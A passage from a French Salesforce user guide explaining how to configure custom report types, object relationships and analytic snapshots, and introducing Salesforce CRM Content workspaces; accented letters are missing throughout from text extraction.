champs de recherche supplmentaires partir d'autres objets avec lesquels il existe une relation de recherche. Par
exemple, si vous slectionnez le champ Nom du contact partir des requtes, vous pouvez slectionner le champ
Compte partir des contacts parce que les comptes ont une relation de recherche avec les contacts qui ont eux-mmes
une relation de recherche avec les requtes.
Vous pouvez avoir accs quatre niveaux de relation d'objet maximum via la recherche.

Les champs affichs dans le plan Ajouter des champs via la recherche n'incluent pas les champs de recherche dans les
objets principaux. Par exemple, si les comptes constituent l'objet principal de votre type de rapport personnalis et que
les contacts reprsentent l'objet secondaire, le plan Ajouter des champs via la recherche n'affiche pas les champs de
recherche des contacts aux comptes. Pour plus d'informations sur les objets principaux, reportez-vous Dfinition des
types de rapport personnalis la page 1757.
Les champs ajouts la prsentation via le lien Ajouter des champs associs via la recherche sont automatiquement
inclus dans la section de l'objet dont ils sont un champ de recherche. Par exemple, si vous ajoutez le champ Contact
en tant que recherche partir des comptes, le champ Contact est automatiquement inclus dans la section Comptes.
Cependant, vous pouvez faire glisser un champ vers n'importe quelle section.
Les champs ajouts via la recherche affichent automatiquement l'icne de recherche dans la prsentation de champ du
type de rapport personnalis.

Vous pouvez ajouter jusqu' 60 objets par type de rapport personnalis via la recherche. Par exemple, si vous slectionnez
la limite maximale de quatre relations d'objet pour un type de rapport personnalis, vous pouvez slectionner des champs
via la recherche partir de 56 objets supplmentaires. Toutefois, les utilisateurs recevront un message d'erreur s'ils excutent
un rapport partir d'un type de rapport personnalis et que le rapport contient des colonnes provenant de plus de 20 objets
diffrents.
6. Organisez les champs dans les sections tels que vous souhaitez que les utilisateurs les voient dans l'assistant de gnration
de rapports. Les champs que vous ne dplacez pas vers une section ne seront pas disponibles pour les utilisateurs lorsqu'ils
gnreront des rapports partir de ce type de rapport.
Vous pouvez ajouter jusqu' 1 000 champs chaque type de rapport personnalis. Le nombre total de champs partir
desquels un utilisateur peut choisir de crer des rapports pour un objet particulier dans l'assistant de gnration de rapports
apparat dans la colonne Champs slectionns de la page de dtails d'un type de rapport personnalis.
7. Cliquez sur Prvisualiser la prsentation pour prvisualiser les champs qui apparatront dans la page Slectionnez les
colonnes d'un rapport personnalis ou excut partir de ce type de rapport. Lors de la prvisualisation de la prsentation,
tous les champs et objets sont affichs, y compris les champs et les objets pour lesquels vous ne disposez d'aucune autorisation

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1761

d'accs. Cependant, vous ne pouvez accder aucune donne stocke dans les champs ou les objets pour lesquels vous ne
disposez d'aucune autorisation d'accs.
Conseil: Utilisez la lgende pour dterminer les champs inclus dans la prsentation, cochs par dfaut dans la page
Slectionnez les colonnes de l'assistant de gnration de rapports et ajouts la prsentation via une relation de
recherche.
ATTENTION: Les utilisateurs peuvent afficher les champs rcapitulatifs de cumul sur les rapports qui incluent
des donnes issues de champs auxquels ils n'ont pas accs. Par exemple, un utilisateur qui n'est pas autoris afficher
le champ Prix d'un produit de l'opportunit peut afficher le champ Prix total sur des rapports d'opportunit
s'il a accs au champ Prix total. Pour plus d'informations, reportez-vous propos des champs rcapitulatifs
de cumul la page 470.
8. Pour renommer ou dfinir les champs slectionns par dfaut pour les utilisateurs dans la page Slectionnez les colonnes
de l'assistant de gnration de rapports, slectionnez un ou plusieurs champs et cliquez sur Modifier les proprits.

Cochez la case Coch par dfaut en regard du champ que vous souhaitez slectionner par dfaut.
Les champs slectionns par dfaut affichent automatiquement l'icne de la case cocher ( ) dans la prsentation des
champs du type de rapport personnalis.

Modifiez le texte dans le champ Afficher comme en regard du champ que vous souhaitez renommer.
Remarque: Les champs renomms d'objets standard, ainsi que les objets standard renomms, n'apparaissent
pas comme tels dans la prsentation des champs du type de rapport personnalis. Cependant, les champs
renomms partir d'objets standard et les objets standard renomms affichent leur nouveau nom dans la page
Slectionnez les colonnes de l'assistant de gnration de rapports et dans la page d'aperu Slectionnez les
colonnes laquelle vous pouvez accder en cliquant sur Prvisualiser la prsentation.

9. Pour renommer les sections de la page Slectionnez les colonnes de l'assistant de gnration de rapports, cliquez sur
Modifier en regard d'une section existante ou crez une section en cliquant sur Crer une nouvelle section.
10. Cliquez sur Enregistrer.

Voir aussi :
Prsentation du type de rapport personnalis
Gestion des types de rapport personnalis

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1762

Slection des relations d'objet qui apparaissent sur les rapports crs
partir de types de rapport personnalis
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou mettre jour les types de rapport personnalis : Grer les types de rapport personnalis

Vous pouvez choisir les relations d'objet qu'un rapport peut afficher lorsqu'il est excut sur la base du type de rapport
personnalis. Ces relations d'objet dterminent les objets et les champs qui peuvent apparatre dans les rapports. Pour plus
d'informations sur les relations d'objet, reportez-vous Prsentation des relations la page 697. Voici des exemples de relations
d'objet que vous pouvez inclure dans des types de rapport personnalis :

Objet personnalis avec activits

Campagnes avec ou sans membres
Opportunits avec ou sans produits
Contacts avec opportunits et produits
Opportunits avec rles de contact et historique de campagne
Campagnes avec contacts, opportunits et produits
Comptes avec ou sans contacts avec ou sans requtes avec ou sans activits
Remarque: Lorsque vous dfinissez des types de rapport personnalis, vous risquez de ne pas voir certains objets et
relations d'objet utiliss dans ces exemples, car ils ne sont pas configurs pour votre entreprise.

Aprs avoir dfini un type de rapport personnalis, vous pouvez choisir les relations d'objet qu'un rapport peut afficher lorsqu'il
est cr ou excut partir d'un type de rapport personnalis. Quand vous choisissez ou affichez des relations d'objet pour un
type de rapport personnalis, des diagrammes s'affichent automatiquement pour vous aider mieux comprendre les relations
d'objet contenues dans le type de rapport personnalis ainsi que les donnes affiches dans des rapports excuts partir de
celui-ci. Pour choisir les relations d'objet pour un type de rapport personnalis :
1. Cliquez sur Configuration Crer Types de rapport pour afficher la page Tous les types de rapport personnalis.
2. Slectionnez le nom d'un type de rapport personnalis.
3. Cliquez sur Modifier dans la section des relations d'objet.

Pour ajouter au type de rapport un objet associ un autre objet, slectionnez Cliquez ici pour associer un
autre champ d'objet, puis choisissez l'objet dans la liste droulante.
Les objets parmi lesquels vous faites votre choix reposent sur les relations de l'objet principal avec d'autres objets. Par
exemple, si des comptes sont slectionns comme objet principal de votre type de rapport personnalis, vous ne pouvez
choisir que les objets standard et personnaliss associs aux comptes, tels que des contacts ou des opportunits. Sont
galement concerns les autres objets ajouts au type de rapport personnalis. Par exemple, si des comptes sont slectionns
comme objet principal de votre type de rapport personnalis et les contacts comme objet secondaire, vous ne pouvez
slectionner que les objets associs aux contacts comme troisime objet dans votre type de rapport personnalis.
Vous pouvez ajouter jusqu' quatre objets un type de rapport personnalis. Toutefois, certaines combinaisons d'objets
que vous choisissez risquent de ne pas pouvoir atteindre cette limite. Par exemple, si vous ajoutez des contacts comme

Rapports

Guide de l'utilisateur | Configuration des types de rapport personnalis | 1763

objet principal, des requtes comme objet secondaire et des activits comme troisime objet, vous ne pouvez pas ajouter
d'autres objets, car les activits ne disposent pas de relations d'objet allant au-del de cette limite.
Remarque: Les utilisateurs disposant de l'autorisation Grer les types de rapport personnalis peuvent
consulter et dfinir des types de rapport personnalis incluant des objets pour lesquels ils n'ont pas d'autorisation
d'accs. Ils ne peuvent nanmoins pas accder aux donnes stockes dans ces objets. Par exemple, un utilisateur
disposant de l'autorisation Grer les types de rapport personnalis qui n'a pas l'autorisation de consulter les
pistes peut visualiser et dfinir des types de rapport personnalis incluant les pistes, mais il ne peut pas accder
aux donnes de ces pistes. Cela permet des utilisateurs particuliers de crer des types de rapport pour tous les
utilisateurs de leur entreprise sans compromettre les paramtres de scurit des donnes.

Pour supprimer du type de rapport un objet associ un autre objet, cliquez sur X.
Vous ne pouvez pas modifier l'objet principal proprement dit. Si vous souhaitez modifier l'objet principal, vous devez
dfinir un nouveau type de rapport personnalis.
Remarque: Si vous supprimez un objet d'un type de rapport personnalis partir duquel des rapports et des
tableaux de bord ont t crs, toutes les rfrences l'objet sont supprimes automatiquement de ces rapports
et de ces tableaux de bord. En outre, les rfrences aux objets associs l'objet que vous supprimez du type de
rapport personnalis sont galement supprimes des rapports et tableaux de bord existants.

Si vous souhaitez que des utilisateurs excutent des rapports sur l'objet A avec l'objet B, slectionnez le champ Chaque
fiche A doit avoir au moins une fiche B associe. Par exemple, choisissez ce champ si
vous souhaitez que les utilisateurs excutent des rapports sur des comptes qui ont des contacts. Si vous souhaitez que
des utilisateurs excutent des rapports sur l'objet A avec ou sans l'objet B, slectionnez le champ Les fiches A
peuvent avoir ou non des fiches B associes. Par exemple, choisissez ce champ si vous souhaitez
que les utilisateurs excutent des rapports sur des comptes qui ont ou non des contacts. Notez que ces noms de champ
sont automatiquement mis jour pour inclure la lettre qui reprsente chaque objet sur la page Modifier le type de
rapport personnalis.
Notez les lments suivants concernant une association possible ou non :
-

Si vous slectionnez le fait que l'objet A peut avoir ou non l'objet B, tous les objets suivants incluent automatiquement
l'association possible ou non sur le type de rapport personnalis. Par exemple, si des comptes sont l'objet principal
et que des contacts sont l'objet secondaire et que vous choisissez le fait que les comptes peuvent avoir ou non des
contacts, tout objet tertiaire ou quaternaire inclut dans le type de rapport personnalis prend la valeur par dfaut
d'associations possibles ou non.
Les champs vides s'affichent sur des rsultats de rapport pour l'objet B si l'objet A n'a pas l'objet B. Par exemple, si
un utilisateur excute un rapport sur des comptes avec ou sans contacts, alors les champs contact sont affichs vides
pour les comptes sans contacts.
Sur les rapports o l'objet A peut avoir ou non l'objet B, vous ne pouvez pas utiliser la condition OR pour filtrer les
objets multiples de la page Slectionnez les critres de l'assistant de gnration de rapport. Par exemple, si vous
entrez les critres de filtre Nom de compte commence par M OR nom du premier contact commence
par M, un message d'erreur s'affiche et vous indique que vos critres de filtre ne sont pas corrects. Pour plus
d'informations, reportez-vous Saisie des critres de filtre la page 1736.
La liste droulante Lignes afficher de la page Slectionnez les critres de l'assistant de rapports affiche
uniquement les champs de l'objet principal dans les rapports crs partir de types de rapport o un objet A peut
ou non avoir un objet B. Par exemple, dans un compte avec ou sans rapport de contacts, seuls les champs des comptes
s'affichent dans la liste droulante Lignes afficher. De plus, la liste droulante Lignes afficher
n'affiche pas les champs des objets aprs une association ventuelle sur les types de rapport personnaliss. Par
exemple, dans un compte contenant des contacts avec ou sans rapport de requte, seuls les champs des comptes et

Rapports

Guide de l'utilisateur | Gestion des types de rapport personnalis | 1764

des contacts s'affichent dans la liste droulante Lignes afficher. De plus, les rapports existants peuvent ne
pas s'excuter ou ignorer la liste droulante Lignes afficher s'ils ont t crs partir de types de rapports
personnaliss o les associations d'objet ont t modifies partir de l'objet A avec l'objet B en objet A avec ou sans
objet B. Pour plus d'informations, reportez-vous Limiter des rsultats de rapport la page 1719.
4. Cliquez sur Enregistrer.
5. Ensuite, modifiez la prsentation de la page Slectionnez les colonnes dans l'assistant de gnration de rapports pour
indiquer les champs standard et personnaliss qu'un rapport peut contenir lorsqu'il est cr ou excut partir du type de
rapport personnalis.

Voir aussi :
Prsentation du type de rapport personnalis
Gestion des types de rapport personnalis

Gestion des types de rapport personnalis

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou mettre jour les types de rapport personnalis : Grer les types de rapport personnalis

Aprs avoir cr un type de rapport personnalis, vous pouvez le personnaliser, le modifier et le supprimer. Cliquez sur
Configuration Crer Types de rapport pour afficher la page Tous les types de rapport personnalis, qui contient la
liste des types de rapport personnalis dfinis pour votre entreprise.
Dans la page Tous les types de rapport personnalis, vous pouvez effectuer les oprations suivantes :

Slectionner une vue de liste dans la liste droulante Afficher pour accder directement cette page de liste ou cliquer
sur Crer une nouvelle vue pour dfinir votre propre vue personnalise. Pour plus d'informations, reportez-vous Cration
de vues Listes personnalises la page 1538.
Dfinir un nouveau type de rapport personnalis en cliquant sur Nouveau type de rapport personnalis.
Mettre jour le nom, la description, la catgorie du type de rapport et le statut de dploiement d'un type de rapport
personnalis en cliquant sur Modifier en regard du nom du type de rapport personnalis.
Remarque: Vous ne pouvez pas modifier l'objet principal associ un type de rapport personnalis. Cependant,
vous pouvez crer un nouveau type de rapport personnalis.

Supprimer un type de rapport personnalis en cliquant sur Suppr en regard du nom du type de rapport personnalis. Toutes
les donnes stockes dans le type de rapport personnalis sont supprimes et ne peuvent pas tre rcupres dans la Corbeille.
Important: Lorsque vous supprimez un type de rapport personnalis, tous les rapports crs en fonction de ce
type sont supprims. Par ailleurs, tous les composants de tableau de bord crs partir d'un rapport conu en
fonction d'un type de rapport personnalis supprim affichent un message d'erreur lorsqu'ils sont visualiss.

Rapports

Guide de l'utilisateur | Gestion des types de rapport personnalis | 1765

Afficher des dtails sur un type de rapport personnalis et le personnaliser davantage en cliquant sur le nom du type de
rapport personnalis. Aprs avoir cliqu sur le nom d'un type de rapport personnalis, vous pouvez effectuer les oprations
suivantes :
-

Mettre jour les relations d'objet qu'un rapport peut afficher lorsqu'il est excut partir du type de rapport personnalis.
Quand vous choisissez ou affichez des relations d'objet pour un type de rapport personnalis, des diagrammes s'affichent
automatiquement pour vous aider mieux comprendre les relations d'objet contenues dans le type de rapport personnalis
ainsi que les donnes affiches dans des rapports excuts partir de celui-ci.Pour plus d'informations, reportez-vous
Slection des relations d'objet qui apparaissent sur les rapports crs partir de types de rapport personnalis la page
1762.
Modifier la prsentation de la page Slectionnez les colonnes dans l'assistant de gnration de rapports pour indiquer
les champs standard et personnaliss qu'un rapport peut afficher lorsqu'il est cr ou excut partir du type de rapport
personnalis. Pour plus d'informations, reportez-vous Modification de la prsentation Slectionnez les colonnes dans
l'assistant de rapports pour un type de rapport personnalis la page 1759.
Obtenir un aperu de la page Slectionnez les colonnes dans l'assistant de gnration de rapports telle qu'elle va apparatre
aux utilisateurs dans les rapports excuts partir du type de rapport personnalis en cliquant sur Prvisualiser la
prsentation dans la section Champs exposs pour la gnration de rapport.
Crez un nouveau type de rapport personnalis avec les mmes relations d'objet et champs que le type de rapport
personnalis slectionn en cliquant sur Cloner.
Renommez les champs du rapport.
Dfinissez les champs slectionns par dfaut.
Remarque: Si le systme de traduction est activ pour votre entreprise, vous pouvez traduire des types de rapport
personnalis pour des utilisateurs internationaux. Pour plus d'informations, reportez-vous Configuration du systme
de traduction la page 88 et Saisie de termes traduits la page 90.
Lorsque vous crez un type de rapport personnalis qui va tre traduit en plusieurs langues via le systme de traduction,
nous vous conseillons de faire correspondre vos paramtres de langue avec la langue par dfaut de votre entreprise.
Cette opration garantit que les mots traduits apparatront dans la langue approprie pour les traducteurs. Pour plus
d'informations, reportez-vous Modification des informations personnelles la page 20.

Voir aussi :
Prsentation du type de rapport personnalis
Dfinition des types de rapport personnalis

Rapports

Guide de l'utilisateur | Gestion des Instantans analytiques | 1766

Gestion des Instantans analytiques

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, enregistrer et planifier un instantan analytique :

Gestion des instantans analytiques

Pour excuter un instantan analytique en tant qu'utilisateur Excution des rapports

actuel et ajouter les rsultats un objet personnalis,
AND
l'utilisateur actuel doit disposer des lments suivants :
Autorisation de cration sur l'objet cible

Aprs avoir configur un instantan analytique, vous pouvez consulter les dtails le concernant, le modifier et le supprimer.
Cliquez sur Configuration Gestion des donnes Instantans analytiques pour afficher la page Instantans analytiques,
qui affiche la liste des instantans analytiques de votre entreprise.
partir de la page Instantans analytiques, vous pouvez :

Slectionnez une vue de liste dans la liste droulante Afficher pour accder directement cette page de liste ou cliquer
sur Crer une nouvelle vue pour dfinir votre propre vue personnalise. Pour plus d'informations, consultez la rubrique
Cration de vues Listes personnalises la page 1538.
Dfininissez un nouvel instantan analytique en cliquant sur Nouvel Instantan analytique.
Mettez jour le nom, la description, l'utilisateur actuel, le rapport source et l'objet cible de l' instantan analytique en
cliquant sur Modifier en regard du nom de l'instantan analytique. Seuls les utilisateurs disposant de l'autorisation de
modifier toutes les donnes peuvent choisir d'autres utilisateurs actuels qu'eux-mmes. Si vous disposez de l'autorisation
Personnaliser l'application, entrez un Nom unique. Le nom unique permet de rfrencer le composant lors de l'utilisation
de l'API Force.com. Dans des packages grs, ce nom vite les conflits de nom dans les installations de package. Ce nom
ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il
doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas
contenir deux traits de soulignement conscutifs. Le champ Nom unique permet un dveloppeur de modifier les noms
ou les titres de certains composants dans un package gr et d'appliquer les modifications dans l'organisation d'un abonn.
Si vous modifiez le rapport source ou l'objet cible d'un instantan analytique avec des mappages de champs existants, ces
derniers sont supprims lors de l'enregistrement de l'instantan analytique. Vous pouvez galement afficher les Champs
rcapitulatifs dans le rapport source et Champs dans l'objet cible pour consulter respectivement
le nombre de champs rcapitulatifs ou cibles.

Supprimez un instantan analytique en cliquant sur Suppr en regard du nom de l'instantan analytique. Une fois l'instantan
analytique supprim, il ne peut pas tre restaur depuis la Corbeille.
Important: Lorsque vous supprimez un instantan analytique, le rapport source et l'objet cible ne sont pas
supprims ; cependant, lorsque le rapport source est excut, il ne charge pas de donnes dans l'objet cible.
Vous pouvez supprimer la planification de l'excution d'un instantan analytique. Vous pouvez stopper ou
interrompre l'excution d'un instantan analytique. En outre, vous ne pouvez pas supprimer le rapport source d'un
instantan analytique. Pour supprimer le rapport source, vous devez d'abord supprimer le rapport de l'instantan
analytique en modifiant le rapport dans la liste droulante Rapport source. Pour plus d'informations,
reportez-vous Dfinition d'un instantan analytique la page 232.

Rapports

Guide de l'utilisateur | Gestion des Instantans analytiques | 1767

Affichez des informations dtailles concernant un instantan analytique et personnalisez-le davantage en cliquant sur le
nom de l'instantan analytique. Aprs avoir cliqu sur le nom de l'instantan analytique, vous pouvez :
-

Cliquer sur des liens de la section Identification qui vous redirigent vers l'utilisateur actif, le rapport source et l'objet
cible de l'instantan analytique. De plus, vous pouvez consulter la date et l'heure souhaites aux environs desquelles
l'instantan analytique doit s'excuter dans le champ Excution suivante, et consulter la date et l'heure auxquelles
l'instantan analytique a t excut pour la dernire fois dans le champ Dernire excution.
Cliquez sur Modifier dans la section des Mappages de champs pour personnaliser davantage les champs mapps du
rapport source l'objet cible. Pour plus d'informations, reportez-vous Mappage de champs d'instantan analytique
la page 233.
La section des Mappages de champs instantan analytique affiche les champs de rapport source mapps vers les champs
d'objet cible. De plus, vous pouvez afficher le nombre de champs du rapport source disponibles pour un mappage vers
l'objet cible dans le champ Colonnes dans le rapport source. Vous pouvez aussi afficher le nombre de champs
disponibles pour le mappage dans l'objet cible dans le champ Champs dans l'objet cible.

Cliquez sur Modifier dans la section Planifier un instantan analytique pour planifier le moment de l'excution de
l'instantan analytique. Pour plus d'informations, reportez-vous Planification et excution d'un instantan analytique
la page 235.
La section Planifier un instantan analytique affiche des dtails sur la planification actuelle de l'instantan analytique.

La section Historique d'excution affiche des dtails sur les prcdentes excutions de l'instantan analytique. Les dtails
comprennent :

La date et l'heure auxquelles l'instantan analytique a t excut

Le nom du rapport source, de l'objet cible et de l'utilisateur actif
La dure ncessaire l'excution de l'instantan analytique
Le nombre total de lignes de dtails ou rcapitulatives dans le rapport source, selon le type de rapport.
Le nombre d'enregistrements crs dans l'objet cible
Si l'excution de l'instantan analytique a russi

Jusqu' 200 enregistrements sont stocks dans la section Historique d'excution. Au-del de 200 enregistrements stocks,
l'enregistrement le plus ancien est supprim et ne peut pas tre rcupr depuis la Corbeille.
La section Historique d'excution n'affiche que la premire erreur dtecte pour chaque excution qui a chou. Pour
dpanner un instantan analytique qui a chou au cours d'une excution planifie, reportez-vous Dpannage des
instantans analytiques la page 237.

Voir aussi :
Qu'est-ce qu'un instantan analytique ?
Configuration d'instantans analytiques

Salesforce Content
Prsentation de Salesforce CRM Content
Salesforce CRM Content permet d'organiser, de partager, de rechercher et de grer des contenus au sein de votre organisation
et dans les zones-cls de l'application Salesforce.com. Le contenu peut contenir tous les types de fichiers, depuis des documents
commerciaux traditionnels tels que des prsentations Microsoft PowerPoint, aux fichiers audio, vido, aux pages Web et aux
documents Google.
Prsentation
Salesforce CRM Content simplifie la gestion du contenu grce l'introduction de fonctions conviviales dans les tches suivantes
:
Organisation
Plutt que de conserver des fichiers dans des dossiers, ce qui complique la recherche de contenus, Salesforce CRM
Content stocke les fichiers dans des rfrentiels de fichiers dans lesquels il est possible d'effectuer une recherche. Ce sont
les espaces de travail. Les administrateurs peuvent crer plusieurs espaces de travail bass sur les diffrents types de
classification, tels que le nom du service, le titre du poste ou encore l'quipe, puis configurer les autorisations utilisateurs
au sein de l'espace de travail pour un accs au contenu en toute scurit. Les auteurs attribuent des tiquettes descriptives
appeles balises, qui permettent de faciliter la classification et l'organisation du contenu dans les divers espaces de travail.
Vous pouvez afficher la liste de tout le contenu qui appartient une balise spcifique ou filtrer les rsultats de la recherche
en fonction d'une ou de plusieurs balises. Salesforce CRM Content fournit galement des espaces de travail personnels
qui permettent aux utilisateurs de rduire l'encombrement de leur bureau tout en bnficiant les avantages de la gestion
de contenu, tels que la recherche de documents et le contrle des versions.
Recherche
Le puissant moteur de recherche Salesforce CRM Content analyse l'ensemble du contenu du document ainsi que ses
proprits telles que le titre, la description, les balises, les donnes de classification et le nom de l'auteur. Il est possible
de filtrer les recherches par contenu prsent, format de fichier, auteur, balises, espaces de travail ou encore champs
personnaliss ; puis afficher les rsultats avec divers niveaux de dtail. C'est un moyen simple et rapide de trouver le
contenu recherch. Le graphique barre intelligente des tlchargements, remarques, valuations et abonns permet de
comparer plusieurs documents dans un ensemble de rsultats de recherche.
Inscription
Une fois qu'un fichier est localis, inscrivez-vous ce dernier pour vous assurer de recevoir un e-mail de notification
chaque fois qu'une nouvelle version est publie ou encore lorsque des modifications sont apportes aux proprits du
fichier. Il est galement possible de s'inscrire aux auteurs, balises et espaces de travail, ce qui rduit le temps pass
rechercher un nouveau contenu ou un contenu mis jour. Selon vos prfrences, les e-mails de notification vous
parviendront en temps rel ou bien une fois par jour.
Prvisualisation
Dans Salesforce CRM Content, il n'est pas ncessaire de tlcharger un document volumineux pour dterminer si son
contenu rpond vos besoins. La page de dtails du contenu offre un aperu des informations qu'il contient, notamment
le titre du document, l'auteur, la description, les balises, les espaces de travail, les commentaires, les votes, les versions,
les abonns et les tlchargements. Si le document est un fichier Microsoft PowerPoint, Word, Excel ou Adobe PDF,
vous pouvez le prvisualiser dans votre navigateur sans le tlcharger. Les fichiers Microsoft Office 2007 ne peuvent pas
tre prvisualiss.

Salesforce Content

Guide de l'utilisateur | Prsentation de Salesforce CRM Content | 1769

Contribution
Le tlchargement de fichiers nouveaux et mis jour dans Salesforce CRM Content est simple et rapide. Au cours du
processus de tlchargement, vous pouvez choisir un espace de travail et un type de contenu pour votre fichier ou votre
lien Web, saisir une description, attribuer une ou plusieurs balises et remplir tous les champs personnaliss qui facilitent
la classification et la dfinition de votre contenu. La gestion des versions ne ncessite aucun contrle des fichiers entrants
et sortants. Il suffit de tlcharger une nouvelle version du fichier et Salesforce CRM Content gre une liste des versions,
accessible depuis la page de dtails du contenu. Vous pouvez tlcharger les versions prcdentes d'un fichier et lire les
motifs de chaque modification que l'auteur aurait apport la nouvelle version.
Contrle de l'utilisation et prparation d'un commentaire
Salesforce CRM Content offre plusieurs mthodes permettant de dterminer si le contenu prsente un intrt pour les
lecteurs. La prsentation d'un extrait du contenu permet d'accrotre sa visibilit dans les rsultats de recherche. Le vote
positif ou ngatif sur un fichier, un lien Web ou un document Google et l'ajout de commentaires permettent de participer
l'amlioration du contenu. Vous pouvez galement identifier qui s'est abonn un fichier, un lien ou un document et
le nombre de tlchargements des fichiers. L'onglet Rapports permet de crer des rapports standard ou personnaliss
dans les donnes Salesforce CRM Content. Si la fonctionnalit de livraison de contenu est active, vous pouvez envoyer
des contenus des collgues, des pistes et des contacts, puis suivre la frquence laquelle ils sont visualiss ou tlchargs.
Partage de contenu dans Salesforce
Des pistes, des comptes, des contacts, des opportunits, des requtes, des produits et des objets personnaliss sont
galement intgrs Salesforce CRM Content. Si la fonctionnalit Salesforce CRM Content est active dans l'onglet
Opportunit par exemple, Salesforce CRM Content utilise les champs de la page de dtails de l'opportunit pour
rechercher les fichiers pouvant correspondre cette opportunit. Vous pouvez dtailler les rsultats de la recherche selon
vos besoins, ou encore lancer votre propre recherche puis joindre un ou plusieurs fichiers l'opportunit. La version la
plus rcente du fichier sera mise disposition sur la page de dtails de l'opportunit.
Partage de contenu dans Salesforce Mobile
Salesforce CRM Content est disponible dans Salesforce Mobile : Les utilisateurs peuvent partager des contenus pour
l'application mobile avec des clients et des collgues lorsqu'ils s'loignent de leur bureau. Pour activer Salesforce CRM
Content pour l'application mobile, mobillisez l'objet contenu et spcifiez les enregistrements de contenu synchroniser
avec le priphrique mobile.
Conseils de mise en uvre

Pour mettre en uvre Salesforce CRM Content dans votre organisation, reportez-vous Configuration de Salesforce
CRM Content la page 1798.
Avant de crer des espaces de travail, contrlez les fichiers que vous envisagez de stocker dans Salesforce CRM Content
afin de dterminer le nombre d'espaces de travail ncessaires ainsi que les contenus appartenant chaque espace de travail.
L'accs au contenu est attribu aux utilisateurs selon l'espace de travail.
Si vous devez grer un grand nombre d'utilisateurs Salesforce CRM Content, crez un groupe public et ajoutez ce groupe
un espace de travail, plutt que d'ajouter individuellement chaque utilisateur l'espace de travail.
Pour activer la fonction de Salesforce CRM Content pour les pistes, les comptes, les contacts, les opportunits, les requtes,
les produits ou les objets personnaliss, ajoutez la liste associe Contenu associ la prsentation de page approprie. Pour
plus d'informations, reportez-vous Personnalisation des prsentations de page la page 546.
Pour envoyer du contenu Web des collgues, des pistes ou des contacts et l'associer des enregistrements Salesforce.com,
ajoutez la liste associe Livraisons de contenu la prsentation de page des pistes, comptes, contacts, opportunits, requtes,
campagnes ou objets personnaliss. Pour plus d'informations sur les livraisons de contenu, pour consulter une liste complte
de conseils de mise en oeuvre et les meilleures pratiques, reportez-vous Configuration des livraisons de contenu la page
1813.
Pour permettre aux utilisateurs de publier, d'diter et de rechercher dans toutes les langues prises en charge par Salesforce.com,
slectionnez Configuration Personnalisation Salesforce CRM Content Paramtres, puis cliquez sur Activer
la recherche et la contribution multilingues.

Salesforce Content

Guide de l'utilisateur | Prsentation de Salesforce CRM Content | 1770

Pour associer des documents Google un espace de travail, le service d'ajout de document Google Salesforce.com doit
tre activ pour votre organisation. Pour plus d'informations, reportez-vous Activation de Google Documents dans
Salesforce.com la page 1842.
Si vous souhaitez que les fichiers PDF s'ouvrent en ligne plutt que dans une fentre distincte, slectionnez Configuration
Personnalisation Salesforce CRM Content Paramtres, puis cliquez sur Ne pas ouvrir les PDF dans
une fentre distincte.
Salesforce CRM Content est disponible via le portail client et le portail partenaire. Pour plus d'information, reportez-vous
Activation de Salesforce CRM Content dans le Portail Client la page 1287 et Activation de Salesforce CRM Content
dans le portail partenaire la page 1580.
Pour plus d'informations sur l'utilisation de Google Docs avec Salesforce CRM Content, reportez-vous Contribution
de Google Docs Salesforce CRM Content la page 1779.
Les fichiers Microsoft Office 2007 ne peuvent pas tre prvisualiss dans la page de dtails du contenu ou dans le lecteur
de prvisualisation de la livraison de contenu.

Les meilleures pratiques

Si vous utilisez la liste associe Contenu associ dans les objets Salesforce.com, alignez les champs de contenu personnaliss
sur les champs standard et personnaliss de l'objet afin d'augmenter la prcision des rsultats de la Recherche de contenu.
En cliquant sur le bouton Rechercher le contenu dans la liste associe, vous faites correspondre le contenu aux champs
sur l'enregistrement et vous affichez les rsultats de recherche qui contiennent le contenu associ.
Pour vrifier que le contenu est class de manire cohrente, dfinissez des noms de balises cohrents avec vos contributeurs.
Par exemple, en saisissant des noms de balises en sortie, vous vitez les diffrences de balises dans le mme espace de travail,
comme canal et canaux.
Evitez d'utiliser trop de balises. Le moteur de recherche aide les utilisateurs trouver un contenu spcifique. Les balises
permettent quant elles de parcourir les contenus et de s'y inscrire. Un nombre excessif de balises cre un encombrement
superflu.
Pour mettre en lumire le contenu important et en faciliter la recherche, indiquez en fonction dans la page de dtails du
contenu. Le contenu en fonction a la priorit sur un contenu similaire dans les rsultats de recherche et s'affiche sous
l'onglet Espaces de travail pour en faciliter l'accs. Pour activer un contenu, les utilisateurs doivent disposer de l'option
Contenu des fonctions parmi les autorisations dans leur espace de travail.
Si votre organisation utilise Google Docs, demandez aux membres de l'espace de travail d'ajouter leurs documents Google
un espace de travail. L'inclusion de documents Google dans Salesforce CRM Content permet aux utilisateurs d'accder
tous les types de contenus depuis un seul emplacement et d'appliquer la fonctionnalit Salesforce CRM Content telle
que les votes, les commentaires et les abonnements, aux documents Google.

Voir aussi :
Recherche de contenu
Affichage et modification des dtails de contenu
Tlchargement et publication d'un contenu

Salesforce Content

Guide de l'utilisateur | Gestion des espaces de travail | 1771

Utilisation de Salesforce CRM Content

Gestion des espaces de travail
Autorisations utilisateur requises
Pour crer des espaces de travail :

Grer Salesforce CRM Content

OU
Crer des espaces de travail

Pour modifier des espaces de travail :

Grer Salesforce CRM Content

OU
Grer l'espace de travail doit tre coch dans votre

dfinition de l'autorisation sur l'espace de travail

Cliquer sur l'onglet Espaces de travail ouvre la page d'accueil des espaces de travail Sur la page d'accueil, vous pouvez accder
vos espaces de travail personnels, en crer de nouveaux dans Salesforce CRM Content, choisir un espace de travail spcifique
consulter ou modifier et analyser l'utilisation et l'activit de l'espace de travail. Pour plus d'informations sur les options de
publication en haut de la page, reportez-vous Tlchargement et publication d'un contenu la page 1776. La page d'accueil
des espaces de travail comporte deux onglets : Contenu partag, qui fournit des informations sur les espaces de travail partags,
et Mon contenu personnel, qui fournit des informations sur votre espace de travail personnel.
Contenu partag
L'onglet Contenu partag de la page d'accueil des espaces de travail contient les sections suivantes :
Mes espaces de travail
